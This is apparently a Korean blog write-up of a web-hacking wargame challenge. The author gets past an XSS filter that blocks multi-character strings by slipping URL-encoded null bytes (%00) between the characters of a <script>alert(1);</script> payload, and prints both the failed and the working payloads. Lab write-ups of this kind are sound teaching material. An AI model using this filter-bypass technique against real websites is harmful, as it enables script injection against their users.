문제

<script>alert(1);</script>를 넣어야 한다고 쓰여있다.

 

따라서 빈칸에 일단 <script>alert(1);</script>를 넣어주니

 

no hack

no hack이 뜬다

 

계속 입력해본 결과, 

sc, al과 같은 문자+문자. 즉, 문자열 조합은 입력 허용되지 않고

<, <>, >등 문자 하나는 입력 허용되며

</>를 입력하면 입력한 것이 사라진다.

 

 

따라서, 

<</>s</>c</>r</>i</>p</>t>a</>l</>e</>r</>t</>(1);<</>/s</>c</>r</>i</>p</>t>

입력결과

엥 이게 아닌가..?

 

ㅎㅎ 아니었다

 

 

문자 하나는 걸러내지 못하고 문자열은 걸러내는 것을 보니

문자를 구분해서 보내면서 서버에서 문자열로 취급할 수 있도록 입력을 해야하는데

찾아보니  urlencoding 방법을 사용하면 이 문제를 쉽게 풀 수 있다고 한다.

 

 

NULL은 URL인코딩 시 %00으로 

 

 

<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t%00(1);<%00/%00s%00c%00r%00i%00p%00t>

입력 시 

해결

'WEB > WEB Hacking' 카테고리의 다른 글

XSS 취약점 참고  (0) 2022.11.29
[Webhacking.kr] Challenge(old) 55번 풀이  (0) 2021.11.10
wfuzz  (0) 2021.07.10
[Webhacking.kr] Challenge(old) 39번 풀이  (0) 2021.06.07
[Webhacking.kr] Challenge(old) 38번 풀이  (0) 2021.06.04

+ Recent posts